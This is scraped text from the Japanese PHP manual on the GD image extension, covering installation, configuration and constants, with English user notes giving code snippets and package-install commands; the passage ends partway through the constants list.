このエイリアスは PHP 7.2.0 で 非推奨 となり、PHP 8.0.0 で 削除 されました。

説明

この関数は次の関数のエイリアスです。 exif_read_data().

変更履歴

バージョン | 説明
7.2.0 | この関数エイリアスは非推奨になりました。

User Contributed Notes

There are no user contributed notes for this page.


画像処理 (GD)

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
    • PHP による PNG の生成
    • アルファチャネルを使用した、画像へのすかしの追加
    • imagecopymerge による半透明なすかしの作成
  • GD および Image 関数
    • gd_info — 現在インストールされているGDライブラリに関する情報を取得する
    • getimagesize — 画像の大きさを取得する
    • getimagesizefromstring — 画像の大きさを文字列から取得する
    • image_type_to_extension — 画像形式からファイルの拡張子を取得する
    • image_type_to_mime_type — getimagesize, exif_read_data, exif_thumbnail, exif_imagetypeから返される 画像形式のMIMEタイプを取得する
    • image2wbmp — 画像をブラウザあるいはファイルに出力する
    • imageaffine — 元の画像を、オプションのクリッピング領域を使ってアフィン変換した画像を返す
    • imageaffinematrixconcat — 二つのアフィン変換行列を連結する
    • imageaffinematrixget — アフィン変換行列を取得する
    • imagealphablending — イメージのブレンドモードを設定する
    • imageantialias — アンチエイリアス機能を使用すべきかどうかを判断する
    • imagearc — 部分楕円を描画する
    • imagebmp — ビットマップ画像をブラウザかファイルに出力する
    • imagechar — 水平に文字を描画する
    • imagecharup — 垂直に文字を描画する
    • imagecolorallocate — 画像で使用する色を作成する
    • imagecolorallocatealpha — 画像で使用する色を透過度を指定して作成する
    • imagecolorat — ピクセルの色のインデックスを取得する
    • imagecolorclosest — 指定した色に最も近い色のインデックスを取得する
    • imagecolorclosestalpha — 指定した色+アルファ値に最も近い色のインデックスを取得する
    • imagecolorclosesthwb — 色合い、白、黒を有する色のインデックスを得る
    • imagecolordeallocate — イメージの色リソースを開放する
    • imagecolorexact — 指定した色のインデックスを取得する
    • imagecolorexactalpha — 指定した色+アルファ値のインデックスを取得する
    • imagecolormatch — パレットイメージの色を True カラーイメージに近づける
    • imagecolorresolve — 指定した色または出来るだけ近い色のインデックスを得る
    • imagecolorresolvealpha — 指定した色+アルファ値または最も近い色のインデックスを取得する
    • imagecolorset — 指定したパレットインデックスの色を設定する
    • imagecolorsforindex — カラーインデックスからカラーを取得する
    • imagecolorstotal — 画像パレットの色数を検出する
    • imagecolortransparent — 透明色を定義する
    • imageconvolution — div および offset の係数を使用し、3x3 の畳み込み配列を適用する
    • imagecopy — 画像の一部をコピーする
    • imagecopymerge — イメージの一部をコピー、マージする
    • imagecopymergegray — グレースケールでイメージの一部をコピー、マージする
    • imagecopyresampled — 再サンプリングを行いイメージの一部をコピー、伸縮する
    • imagecopyresized — 画像の一部をコピーしサイズを変更する
    • imagecreate — パレットを使用する新規画像を作成する
    • imagecreatefrombmp — 新しい画像をファイルあるいは URL から作成する
    • imagecreatefromgd2 — GD2 ファイルまたは URL から新規イメージを生成する
    • imagecreatefromgd2part — GD2 ファイルまたは URL の指定した部分から新規イメージを生成する
    • imagecreatefromgd — GD ファイルまたは URL から新規イメージを生成する
    • imagecreatefromgif — 新しい画像をファイルあるいは URL から作成する
    • imagecreatefromjpeg — 新しい画像をファイルあるいは URL から作成する
    • imagecreatefrompng — 新しい画像をファイルあるいは URL から作成する
    • imagecreatefromstring — 文字列の中のイメージストリームから新規イメージを作成する
    • imagecreatefromwbmp — 新しい画像をファイルあるいは URL から作成する
    • imagecreatefromwebp — 新しい画像をファイルあるいは URL から作成する
    • imagecreatefromxbm — 新しい画像をファイルあるいは URL から作成する
    • imagecreatefromxpm — 新しい画像をファイルあるいは URL から作成する
    • imagecreatetruecolor — TrueColor イメージを新規に作成する
    • imagecrop — 指定した矩形に画像をクロップする
    • imagecropauto — 利用可能なモードを指定して、画像を自動的にクロップする
    • imagedashedline — 破線を描画する
    • imagedestroy — 画像を破棄する
    • imageellipse — 楕円を描画する
    • imagefill — 塗り潰す
    • imagefilledarc — 楕円弧を描画し、塗りつぶす
    • imagefilledellipse — 塗りつぶされた楕円を描画する
    • imagefilledpolygon — 塗りつぶした多角形を描画する
    • imagefilledrectangle — 塗りつぶした矩形を描画する
    • imagefilltoborder — 特定色で塗りつぶす
    • imagefilter — 画像にフィルタを適用する
    • imageflip — 指定したモードで画像を反転させる
    • imagefontheight — フォントの高さを取得する
    • imagefontwidth — フォントの幅を取得する
    • imageftbbox — freetype2 によるフォントを用いたテキストを囲む箱を取得する
    • imagefttext — FreeType 2 によるフォントを用いてイメージにテキストを描画する
    • imagegammacorrect — GD イメージにガンマ補正を適用する
    • imagegd2 — GD2 イメージをブラウザまたはファイルに出力する
    • imagegd — GD イメージをブラウザまたはファイルに出力する
    • imagegetclip — 長方形を切り取り、画像として取得する
    • imagegetinterpolation — 補間方法を取得する
    • imagegif — 画像をブラウザあるいはファイルに出力する
    • imagegrabscreen — 画面全体をキャプチャする
    • imagegrabwindow — ウィンドウをキャプチャする
    • imageinterlace — インターレースを有効もしくは無効にする
    • imageistruecolor — 画像が truecolor かどうか調べる
    • imagejpeg — 画像をブラウザあるいはファイルに出力する
    • imagelayereffect — アルファブレンディングフラグを設定し、レイヤ効果を使用する
    • imageline — 直線を描画する
    • imageloadfont — 新しいフォントを読み込む
    • imageopenpolygon — オープンポリゴンを描画する
    • imagepalettecopy — あるイメージから他のイメージにパレットをコピーする
    • imagepalettetotruecolor — パレット形式の画像を true color に変換する
    • imagepng — PNG イメージをブラウザまたはファイルに出力する
    • imagepolygon — 多角形を描画する
    • imagerectangle — 矩形を描画する
    • imageresolution — 画像の解像度を取得/設定する
    • imagerotate — 指定された角度で画像を回転する
    • imagesavealpha — PNG 画像を保存する際に、完全なアルファチャネル情報を保存するかどうかを指定する
    • imagescale — 幅と高さを指定して、画像の縮尺を変更する
    • imagesetbrush — 線の描画用にブラシイメージを設定する
    • imagesetclip — 切り取る長方形を設定する
    • imagesetinterpolation — 補間方法を設定する
    • imagesetpixel — 点を生成する
    • imagesetstyle — 線描画用のスタイルを設定する
    • imagesetthickness — 線描画用の線幅を設定する
    • imagesettile — 塗りつぶし用のイメージを設定する
    • imagestring — 文字列を水平に描画する
    • imagestringup — 文字列を垂直に描画する
    • imagesx — 画像の幅を取得する
    • imagesy — 画像の高さを取得する
    • imagetruecolortopalette — TrueColor イメージをパレットイメージに変換する
    • imagettfbbox — TypeType フォントを使用したテキストの bounding box を生成する
    • imagettftext — TrueType フォントを使用してテキストを画像に書き込む
    • imagetypes — この PHP がサポートしている画像形式を返す
    • imagewbmp — 画像をブラウザあるいはファイルに出力する
    • imagewebp — WebP 画像をブラウザあるいはファイルに出力する
    • imagexbm — XBM 画像をブラウザあるいはファイルに出力する
    • iptcembed — バイナリ IPTC データを JPEG イメージに埋めこむ
    • iptcparse — バイナリの IPTC ブロックのタグをパースする
    • jpeg2wbmp — JPEG画像をWBMP画像に変換する
    • png2wbmp — PNG画像をWBMP画像に変換する
  • GdImage — GdImage クラス

User Contributed Notes

mhkh1366 at gmail dot com 17-May-2019 06:38
### Attention:
For previewing images created by GD library in php file format in web browser, you should attention these two items:
1_ Make sure that GD is enable in php.ini
2_ Make sure that your php file encoding is ANSI/ASCII or you should use ob_clean() function before changing the header by header() function
herbert dot walde at googlemail dot com 04-Jan-2012 11:41
In case your script is using output-buffering-functions somewhere, then you have to clear the buffer first ( with ob_clear() ), before outputting an image with a function like imagepng().

And you should make sure that no buffer will get send after outputing an image by using the ob_end_flush()-function.

Furthermore you should check if a buffer has already been flushed somewhere before. This can be done using the headers_sent()-function.

Here is the full solution:

<?php
if(headers_sent()){
    die('Headers have been send somewhere within my script');
}

ob_clean(); //Clears the buffer

header('Content-type: image/png');
imagepng($img, NULL, 0,  NULL);

ob_end_flush(); //Now we send the header and image plus we make sure that nothing will get send from now on (including possible shutdown-functions and __destruct()-methods) till the end of page-execution
?>
donatj at gmail dot com 12-Jul-2011 01:43
UTF-8 is fine with GD - as well as any other Unicode transformation format - you just need to ensure your saved file doesn't contain the dreaded byte order mark.
kurdtpage at gmail dot com 27-Apr-2011 10:53
When using GD, please make sure of the following things:

1. The file that is used to manipulate images is saved as ANSI format and not UTF-8
2. There is no space in front of the opening tag <?php
mail at ecross dot nl 03-Apr-2010 07:31
hello there,
i made a function to create a gradient image.

description:
gradient(int image_width, int image_height,
int start_red, int start_green, int start_blue,
int end_red, int end_green, int end_blue,
bool vertical)

function:
<?php
function gradient($image_width, $image_height,$c1_r, $c1_g, $c1_b, $c2_r, $c2_g, $c2_b, $vertical=false)
{
// first: lets type cast;
$image_width = (integer)$image_width;
$image_height = (integer)$image_height;
$c1_r = (integer)$c1_r;
$c1_g = (integer)$c1_g;
$c1_b = (integer)$c1_b;
$c2_r = (integer)$c2_r;
$c2_g = (integer)$c2_g;
$c2_b = (integer)$c2_b;
$vertical = (bool)$vertical;

// create a image
$image  = imagecreatetruecolor($image_width, $image_height);

// make the gradient
for($i=0; $i<$image_height; $i++)
{
$color_r = floor($i * ($c2_r-$c1_r) / $image_height)+$c1_r;
$color_g = floor($i * ($c2_g-$c1_g) / $image_height)+$c1_g;
$color_b = floor($i * ($c2_b-$c1_b) / $image_height)+$c1_b;

$color = ImageColorAllocate($image, $color_r, $color_g, $color_b);
imageline($image, 0, $i, $image_width, $i, $color);
}

# Prints out all the figures and picture and frees memory
header('Content-type: image/png');

if($vertical){$image = imagerotate($image, 90, 0);}
ImagePNG($image);
imagedestroy($image);
}
?>
Thomas 10-Dec-2008 02:05
You know, maybe this goes without saying, but I thought I would drop a note in here.  When developing code to resize images, it is best not to use GD.  When using the current GD methodologies, you are reading content from an image and manipulating it.  By then writing that content to a brand new file, you are losing the EXIF data.

For purposes when you want to retain EXIF data, it is recommended that you compile in and use the PECL Imagick extension.  It has great resizing methods built right in and the EXIF data is retained.
code at ashleyhunt dot co dot uk 23-Oct-2008 06:02
I have been looking to send the output from GD to a text string without proxying via a file or to a browser.

I have come up with a solution.

This code buffers the output between the ob_start() and ob_end() functions into ob_get_contents()

See the example below

<?php
// Create a test source image for this example
$im = imagecreatetruecolor(300, 50);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);

// start buffering
ob_start();
// output jpeg (or any other chosen) format & quality
imagejpeg($im, NULL, 85);
// capture output to string
$contents = ob_get_contents();
// end capture
ob_end_clean();

// be tidy; free up memory
imagedestroy($im);

// lastly (for the example) we are writing the string to a file
$fh = fopen("./temp/img.jpg", "a+" );
    fwrite( $fh, $contents );
fclose( $fh );
?>

Enjoy!
Ashley


はじめに

PHPができることは、HTML出力を生成することだけではありません。PHP は、多くの異なるイメージ形式でイメージファイルを作成したり、操作 したりすることもできます。このイメージ形式には、GIF, PNG, JPEG, WBMP および XPM が含まれます。 さらに便利なことに、PHPはイメージストリームを直接ブラウザに出力することができます。 イメージ関数を使用するには、PHP を GD ライブラリとともにコンパイルしなければなりません。 使用したいイメージ形式によっては、GD と PHP 以外に他のライブラリも必要となる可能性があります。

PHPのイメージ関数により JPEG、GIF、 PNG、SWF、 TIFF、JPEG2000イメージの 大きさを知ることができます。

exif 拡張モジュール を使用すると、 JPEG や TIFF 画像のヘッダに保存された情報を扱うことができます。 これにより、デジタルカメラが作成したメタデータを読み込むことができます。 exif 関数は GD ライブラリを必要としません。

注意: イメージの読み込み、書き込み、修正の機能を拡張するには、 要求の節を呼んでください。 デジタルカメラで撮影した画像のメタデータを読み込むには、 上で説明した exif 拡張モジュール が必要です。

注意: getimagesize() 関数は、GD 拡張モジュールを必要としません。

警告

バンドルされている GD ライブラリは、メモリを確保するのに Zend メモリマネージャーを使っていますが、 システムにインストールされている GD ライブラリは使っていません。 よって、後者には memory_limit は適用されません。

GD はさまざまなフォーマットに対応しています。 GD がサポートするフォーマットの一覧と、読み書きの対応状況を含めた注意をまとめました。

GD がサポートするフォーマット
フォーマット | 読み込みのサポート | 書き込みのサポート | 注意
JPEG | true | true |
PNG | true | true |
GIF | true | true |
XBM | true | true |
XPM | true | false |
WBMP | true | true |
WebP | true | true |
BMP | true | true | GD 2.1.0 および PHP 7.2.0 以降で利用可能です

ほとんどのフォーマットは読み書きの両方に対応していますが、 PHP をコンパイルするときにそのフォーマットのサポートを組み込んでいるとは限りません。 GD でどのフォーマットを使えるようにコンパイルしたのかを調べるには gd_info() 関数を使いましょう。 コンパイル時の設定については、インストール方法のページを参照ください。

User Contributed Notes

gamesparamundo123 at gmail dot com 28-Feb-2020 01:27
The EXIF extension has been updated to support a much larger range of formats. This means that their format specific tags are now properly translated when parsing images with the exif_read_data() function. The following new formats are now supported:

Samsung
DJI
Panasonic
Sony
Pentax
Minolta
Sigma/Foveon
AGFA
Kyocera
Ricoh
Epson
The EXIF functions exif_read_data() and exif_thumbnail() now support passing streams as their first argument.


要件

GDライブラリ( » http://www.libgd.org/で取得可能)があれば、画像の作成と操 作を行なうこともできます。

操作できるイメージの形式は、インストールされている GDとこれらのイメージフォーマットにアクセスする ためにGDが必要とするその他のライブラリに依存します。

注意: libgd-2.1.0 以降が必要です。 もしなければ、PHP に附属する GD ライブラリを使います。

より多くのイメージ形式を処理するために GD を拡張したいと思うかもしれません。

サポートされるイメージ形式
イメージ形式 | ダウンロードするライブラリ | 注記
gif |  |
jpeg | » http://www.ijg.org/ | (PHP のビルド前に) jpeg ライブラリをビルドする際、configure で --enable-shared オプションを指定する必要があります。 そうしないと、PHP をビルドする際の configure で libjpeg.(a|so) not found というエラーが発生します。
png | » http://www.libpng.org/pub/png/libpng.html |
xpm | » ftp://metalab.unc.edu/pub/Linux/libs/X/!INDEX.html | Xウインドウ環境をインストールしている場合、 このライブラリを既に利用可能と思われます。

別の種類のフォントを処理できるように GD を拡張したいと思うかもしれません。 そうした用途のために、» FreeType 2 ライブラリがサポートされています。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

PHPでGDサポートを有効にするには、configure に--with-gd[=DIR]を指定します。ただし、DIRは GDのベースインストールディレクトリです。 PHPにバンドルされている推奨のGDライブラリを使用するには --with-gdを指定します。 GD ライブラリをコンパイルするには、libpng と libjpeg が必要です。 PHP 7.4.0 以降では、--with-gd は --enable-gd (gd 拡張機能を有効にするかどうかを指定する) と --with-external-gd (バンドル版の libgd ではなく、外部の libgd を使うように指定する) に変わりました。

Windowsの場合、GD2 DLL php_gd2.dllをphp.iniに エクステンションとして指定してください。

より多くの画像フォーマットを扱えるようにGDの能力を高めるには、 --with-XXXXのような形のオプションを指定します。

サポートされる画像フォーマット
画像フォーマット | configure オプション
jpeg | jpeg をサポートするには --with-jpeg-dir=DIR を指定します。Jpeg 6b、7、そして 8 に対応しています。 PHP 7.4.0 以降では、 --with-jpeg を代わりに使って下さい。
png | PNGをサポートするには--with-png-dir=DIR を指定します。ただし、libpngはzlibライブラリを 必要とするため、--with-zlib-dir[=DIR] もconfigureオプションに追加する必要があります。 PHP 7.4.0 以降、 --with-png-dir と --with-zlib-dir は削除されました。 libpng と zlib は必須になっています。
xpm | XPMをサポートするには--with-xpm-dir=DIR を指定します。必要なライブラリをconfigureが見つけられなかった場合は X11ライブラリのパスを追加してください。 PHP 7.4.0 以降では、 --with-xpm を代わりに使って下さい。
webp | webp をサポートするには --with-webp-dir=DIR を追加してください。 PHP 7.4.0 以降では、 --with-webp を代わりに使って下さい。

注意: libpng と共に PHP をコンパイルする際、GD ライブラリとリンクされる同じバージョンを使用する必要があります。

GDがより多くのフォントを扱えるようにするには --with-XXXXのような形のオプションを指定します。

サポートされるフォントライブラリ
フォントライブラリ | configure オプション
FreeType 2 | FreeType 2 をサポートするには --with-freetype-dir=DIRを指定します。 PHP 7.4.0 以降では、pkg-config に依存しているので、 --with-freetype を代わりに使ってください。
ネイティブ TrueType 文字列関数 | ネイティブな TrueType 文字列関数 をサポートするには --enable-gd-native-ttfを指定します (これは PHP 7.2.0 で削除されました。)

User Contributed Notes

Parmjit Singh 22-Feb-2021 01:48
Installation on Pop-os No need for php5 or php7.0 etc:

sudo apt install php-gd
omni at ominsapien dot com 31-Jan-2021 04:04
Hello. Does GD image processing allow for color spaces / color profiles to be defined or maintained from the source image? For example, if I upload a jpg with ProPhoto RGB color space with the embedded profile, will all of the subsequent processed images that are output maintain the profile? Or is there no profile and or is it changed to sRGB?

Same question goes for ImageMagick.

Thank you so much!
tecknovice at gmail dot com 24-Mar-2020 08:36
currently is php7.2-gd

sudo apt install php7.2-gd
Gabriel Torres 09-Feb-2020 10:52
As of PHP 7.4, to enable GD you have to use --enable-gd instead of --with-gd
nordin74 11-Jan-2020 07:40
Since 7.4 replace "--with-gd" by "--enable-gd"
abdulbasitsaeed 19-Mar-2019 04:28
To install PHP GD extension on an Amazon Linux AMI server, with php 7:

sudo yum install php 70-gd

Do remember to restart Apache after the installation!

sudo service httpd restart
fabrizzio at webtux dot cl 19-Oct-2018 11:22
php --version if result is 7.2 version

sudo apt-get install php7.2-gd
remalsha at gmail dot com 13-Feb-2018 07:22
On AntergosOS ( Arch linux )

*first run >>php -v   and get current php version. In my case for PHP 7.1.14

      sudo pacman -S php71-gd

then restart you apache server using,

      sudo systemctl restart httpd
Qussayyon Qamaron: Qusai.zf2@gmailcom 25-Mar-2017 05:07
#install under Ubuntu 16.04:
    * if you have access to PHP7.1:
        <sudo> apt install php7.1-gd && <sudo> systemctl restart apache2
    * if you have access to PHP7.0:
        <sudo> apt install php7.0-gd && <sudo> systemctl restart apache2

------------------------------------------------
Qussayyon Qamaron: Qusai.zf2gmailcom
theonestep4 at gmail dot com 13-Dec-2016 05:00
To install on CentOS:

yum install php-gd
Anonymous 03-Nov-2016 12:52
For all who use php 7 and ubuntu

sudo apt-get install php7.0-gd
Mike K 30-Mar-2016 07:16
On Ubuntu I was missing the libpng-dev, libjpeg-dev (and in my case) libwebp-dev libraries, all gettable with apt-get.

Also once those libraries are installed, including --with-png-dir --with-jpeg-dir --with-webp-dir, without any values (i.e. =/dir) appeared to be valid ... though admittedly I didn't try without (in case the configure script autodetected them).
svestka1999 at gmail dot com 22-Feb-2016 06:20
Instructions how to compile bundled version on Linux:
http://stackoverflow.com/questions/35560150/php-gd-bundled-extension-without-recompiling-php-solution
leyluj21 at gmail dot com 23-Oct-2014 09:58
If you are using PHPBREW , the extension is called gd.
So you do.
```
phpbrew ext install gd
```

It will compile the extension to the core.
james dot a dot munsch at gmail dot com 05-Sep-2014 10:19
sudo apt-get install php5-gd && sudo service apache2 restart

To install under Ubuntu 14.04.
alejo dot jm at gmail dot com 20-Jul-2012 06:47
On Macox lion with mac port just use:
sudo port install php5-gd
florian 31-Jul-2011 02:50
People having difficulties setting the --with-libdir option needs to set it like this :

--with-libdir=lib64

That option works fine. Doing --with-libdir=/usr/lib64 doesn't work because the configure script prepends the --prefix option before the --with-libdir option. So, doing --with-libdir=/usr/lib64 makes the configure script to look for libs in /usr/usr/lib64, which is wrong of course, and not in /usr/lib64.
Joseph Marlin 23-Jun-2011 06:07
I also had to install the libgd package in addition to php5-gd:

sudo apt-get install libgd2-xpm-dev*
octopus at logicaloctopus dot com 17-Apr-2011 12:07
I was running PHP on a SUSE box on amazon EC2.
to get gd to work all I had to do was to run:
> yast -i php5_gd

and when that completed I just restarted apache. voila!
boly38 at gmail dot com 17-Mar-2011 05:25
To get GD bundled under Ubuntu, the way to recompile php5 with gd is described here (french) http://doc.ubuntu-fr.org/modules_php#php5-gd
elassoto at hotmail dot com 10-Sep-2010 01:54
If you have already compiled PHP and want to recompile '--with-gd', don't forget to run 'make clean' first!
msc at homofaber dot com 30-Oct-2008 07:45
It should be noted that it might be pretty easy to install gd without the need to recompile php, when using debian:

apt-get install php5-gd


実行時設定

php.ini の設定により動作が変化します。

Image 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
gd.jpeg_ignore_warning | "1" | PHP_INI_ALL |
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

gd.jpeg_ignore_warning bool

libjpeg(-turbo) が出す警告（エラーではない）を無視します。

gd.jpeg_ignore_warning の変更履歴
バージョン | 説明
7.1.0 | gd.jpeg_ignore_warning のデフォルト値が 0 から 1 に変わりました。

exif の設定ディレクティブも参照ください。

警告

イメージ関数は非常にメモリを消費します。 バンドルされたバージョンの GD ライブラリを使用している場合、 memory_limit を十分大きな値にしておくようにしましょう。

User Contributed Notes

There are no user contributed notes for this page.


リソース型

この拡張モジュールでは、以下のリソース型を定義しています。

GD におけるリソース型の一覧
名前 | 説明 | 備考
gd | 画像リソース。imagecreatefrompng() などの関数が利用します。 |
gd font | imageloadfont() が内部的に生成したフォントリソース。 |

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

GD_VERSION (string)
PHP をコンパイルしたときの GD のバージョン
GD_MAJOR_VERSION (int)
PHP をコンパイルしたときの GD のメジャーバージョン
GD_MINOR_VERSION (int)
PHP をコンパイルしたときの GD のマイナーバージョン
GD_RELEASE_VERSION (int)
PHP をコンパイルしたときの GD のリリースバージョン
GD_EXTRA_VERSION (string)
PHP をコンパイルしたときの GD の "追加" バージョン (beta/rc..)
GD_BUNDLED (int)
バンドルされている GD を使用する場合は 1、 それ以外の場合は 0 が設定されます。
IMG_BMP (int)
imagetypes() の戻り値として用います。
IMG_GIF (int)
imagetypes() の戻り値として用います。
IMG_JPG (int)
imagetypes() の戻り値として用います。
IMG_JPEG (int)
imagetypes() の戻り値として用います。

注意:

この定数の値は IMG_JPG と同じです。

IMG_PNG (int)
imagetypes() の戻り値として用います。
IMG_WBMP (int)
imagetypes() の戻り値として用います。
IMG_XPM (int)
imagetypes() の戻り値として用います。
IMG_WEBP (int)
imagetypes() の戻り値として用います。 PHP 7.0.10 以降で利用可能です。
IMG_COLOR_TILED (int)
imagecolorallocate() や imagecolorallocatealpha() で割り当てた色のかわりに使用できる、特別な色オプション。
IMG_COLOR_STYLED (int)
imagecolorallocate() や imagecolorallocatealpha() で割り当てた色のかわりに使用できる、特別な色オプション。
IMG_COLOR_BRUSHED (int)
imagecolorallocate() や imagecolorallocatealpha() で割り当てた色のかわりに使用できる、特別な色オプション。
IMG_COLOR_STYLEDBRUSHED (int)
imagecolorallocate() や imagecolorallocatealpha() で割り当てた色のかわりに使用できる、特別な色オプション。
IMG_COLOR_TRANSPARENT (int)
imagecolorallocate() や imagecolorallocatealpha() で割り当てた色のかわりに使用できる、特別な色オプション。
IMG_AFFINE_TRANSLATE (int)
アフィン変換の形式を表す定数。imageaffinematrixget() 関数が使用します。
IMG_AFFINE_SCALE (int)
アフィン変換の形式を表す定数。imageaffinematrixget() 関数が使用します。
IMG_AFFINE_ROTATE (int)
アフィン変換の形式を表す定数。imageaffinematrixget() 関数が使用します。
IMG_AFFINE_SHEAR_HORIZONTAL (int)
アフィン変換の形式を表す定数。imageaffinematrixget() 関数が使用します。
IMG_AFFINE_SHEAR_VERTICAL (int)
アフィン変換の形式を表す定数。imageaffinematrixget() 関数が使用します。
IMG_ARC_ROUNDED (int)
スタイル定数。imagefilledarc() 関数が使用します。

注意:

この定数の値は IMG_ARC_PIE と同じです。

IMG_ARC_PIE (int)
スタイル定数。imagefilledarc() 関数が使用します。
IMG_ARC_CHORD (int)
スタイル定数。imagefilledarc() 関数が使用します。
IMG_ARC_NOFILL (int)
スタイル定数。imagefilledarc() 関数が使用します。
IMG_ARC_EDGED (int)
スタイル定数。imagefilledarc() 関数が使用します。
IMG_GD2_RAW (int)
タイプ変数。imagegd2() 関数が使用します。
IMG_GD2_COMPRESSED (int)
タイプ変数。imagegd2() 関数が使用します。
IMG_EFFECT_REPLACE (int)
アルファブレンディング効果。imagelayereffect() 関数で使用します。
IMG_EFFECT_ALPHABLEND (int)
アルファブレンディング効果。imagelayereffect() 関数で使用します。
IMG_EFFECT_NORMAL (int)
アルファブレンディング効果。imagelayereffect() 関数で使用します。
IMG_EFFECT_OVERLAY (int)
アルファブレンディング効果。imagelayereffect() 関数で使用します。
IMG_EFFECT_MULTIPLY (int)
アルファブレンディング効果。imagelayereffect() 関数で使用します。
IMG_FILTER_NEGATE (int)
特別な GD フィルタ。imagefilter() 関数で使用します。
IMG_FILTER_GRAYSCALE (int)
特別な GD フィルタ。imagefilter() 関数で使用します。
IMG_FILTER_BRIGHTNESS (int)
特別な GD フィルタ。imagefilter() 関数で使用します。
IMG_FILTER_CONTRAST (int)
特別な GD フィルタ。imagefilter() 関数で使用します。
IMG_FILTER_COLORIZE (int)
特別な GD フィルタ。imagefilter() 関数で使用します。
IMG_FILTER_EDGEDETECT (int)
特別な GD フィルタ。imagefilter() 関数で使用します。
IMG_FILTER_GAUSSIAN_BLUR (int)
特別な GD フィルタ。imagefilter() 関数で使用します。
IMG_FILTER_SELECTIVE_BLUR (int)
特別な GD フィルタ。imagefilter() 関数で使用します。
IMG_FILTER_EMBOSS (int)
特別な GD フィルタ。imagefilter() 関数で使用します。
IMG_FILTER_MEAN_REMOVAL (int)
特別な GD フィルタ。imagefilter() 関数で使用します。
IMG_FILTER_SMOOTH (int)
特別な GD フィルタ。imagefilter() 関数で使用します。
IMG_FILTER_PIXELATE (int)
特別な GD フィルタ。imagefilter() 関数で使用します。
IMG_FILTER_SCATTER (int)
特別な GD フィルタ。imagefilter() 関数で使用します。 (PHP 7.4.0 以降で使用可能)
IMAGETYPE_GIF (int)
画像タイプ定数。image_type_to_mime_type() や image_type_to_extension() 関数で使用します。
IMAGETYPE_JPEG (int)
画像タイプ定数。image_type_to_mime_type() や image_type_to_extension() 関数で使用します。
IMAGETYPE_JPEG2000 (int)
画像タイプ定数。image_type_to_mime_type() や image_type_to_extension() 関数で使用します。
IMAGETYPE_PNG (int)
画像タイプ定数。image_type_to_mime_type() や image_type_to_extension() 関数で使用します。
IMAGETYPE_SWF (int)
画像タイプ定数。image_type_to_mime_type() や image_type_to_extension() 関数で使用します。
IMAGETYPE_PSD (int)
画像タイプ定数。image_type_to_mime_type() や image_type_to_extension() 関数で使用します。
IMAGETYPE_BMP (int)
画像タイプ定数。image_type_to_mime_type() や image_type_to_extension() 関数で使用します。
IMAGETYPE_WBMP (int)
画像タイプ定数。image_type_to_mime_type() や image_type_to_extension() 関数で使用します。
IMAGETYPE_XBM (int)
画像タイプ定数。image_type_to_mime_type() や image_type_to_extension() 関数で使用します。
IMAGETYPE_TIFF_II (int)
画像タイプ定数。image_type_to_mime_type() や image_type_to_extension() 関数で使用します。
IMAGETYPE_TIFF_MM (int)
画像タイプ定数。image_type_to_mime_type() や image_type_to_extension() 関数で使用します。
IMAGETYPE_IFF (int)
画像タイプ定数。image_type_to_mime_type() や image_type_to_extension() 関数で使用します。
IMAGETYPE_JB2 (int)
画像タイプ定数。image_type_to_mime_type() や image_type_to_extension() 関数で使用します。
IMAGETYPE_JPC (int)
画像タイプ定数。image_type_to_mime_type() や image_type_to_extension() 関数で使用します。
IMAGETYPE_JP2 (int)
画像タイプ定数。image_type_to_mime_type() や image_type_to_extension() 関数で使用します。
IMAGETYPE_JPX (int)
画像タイプ定数。image_type_to_mime_type() や image_type_to_extension() 関数で使用します。
IMAGETYPE_SWC (int)
画像タイプ定数。image_type_to_mime_type() や image_type_to_extension() 関数で使用します。
IMAGETYPE_ICO (int)
画像タイプ定数。image_type_to_mime_type() や image_type_to_extension() 関数で使用します。
IMAGETYPE_WEBP (int)
画像タイプ定数。image_type_to_mime_type() や image_type_to_extension() 関数で使用します。 (PHP 7.1.0 以降で利用可能)
PNG_NO_FILTER (int)
特別な PNG フィルタ。imagepng() 関数で使用します。
PNG_FILTER_NONE (int)
特別な PNG フィルタ。imagepng() 関数で使用します。
PNG_FILTER_SUB (int)
特別な PNG フィルタ。imagepng() 関数で使用します。
PNG_FILTER_UP (int)
特別な PNG フィルタ。imagepng() 関数で使用します。
PNG_FILTER_AVG (int)
特別な PNG フィルタ。imagepng() 関数で使用します。
PNG_FILTER_PAETH (int)
特別な PNG フィルタ。imagepng() 関数で使用します。
PNG_ALL_FILTERS (int)
特別な PNG フィルタ。imagepng() 関数で使用します。
IMG_FLIP_VERTICAL (int)
imageflip() で使用します。PHP 5.5.0 以降で使用可能です。
IMG_FLIP_HORIZONTAL (int)
imageflip() で使用します。PHP 5.5.0 以降で使用可能です。
IMG_FLIP_BOTH (int)
imageflip() で使用します。PHP 5.5.0 以降で使用可能です。
IMG_BELL (int)
imagesetinterpolation() で使用します。PHP 5.5.0 以降で使用可能です。
IMG_BESSEL (int)
imagesetinterpolation() で使用します。PHP 5.5.0 以降で使用可能です。
IMG_BILINEAR_FIXED (int)
imagesetinterpolation() で使用します。PHP 5.5.0 以降で使用可能です。
IMG_BICUBIC (int)
imagesetinterpolation() で使用します。PHP 5.5.0 以降で使用可能です。
IMG_BICUBIC_FIXED (int)
imagesetinterpolation() で使用します。PHP 5.5.0 以降で使用可能です。
IMG_BLACKMAN (int)
imagesetinterpolation() で使用します。PHP 5.5.0 以降で使用可能です。
IMG_BOX (int)
imagesetinterpolation() で使用します。PHP 5.5.0 以降で使用可能です。
IMG_BSPLINE (int)
imagesetinterpolation() で使用します。PHP 5.5.0 以降で使用可能です。
IMG_CATMULLROM (int)
imagesetinterpolation() で使用します。PHP 5.5.0 以降で使用可能です。
IMG_GAUSSIAN (int)
imagesetinterpolation() で使用します。PHP 5.5.0 以降で使用可能です。
IMG_GENERALIZED_CUBIC (int)
imagesetinterpolation() で使用します。PHP 5.5.0 以降で使用可能です。
IMG_HERMITE (int)
imagesetinterpolation() で使用します。PHP 5.5.0 以降で使用可能です。
IMG_HAMMING (int)
imagesetinterpolation() で使用します。PHP 5.5.0 以降で使用可能です。
IMG_HANNING (int)
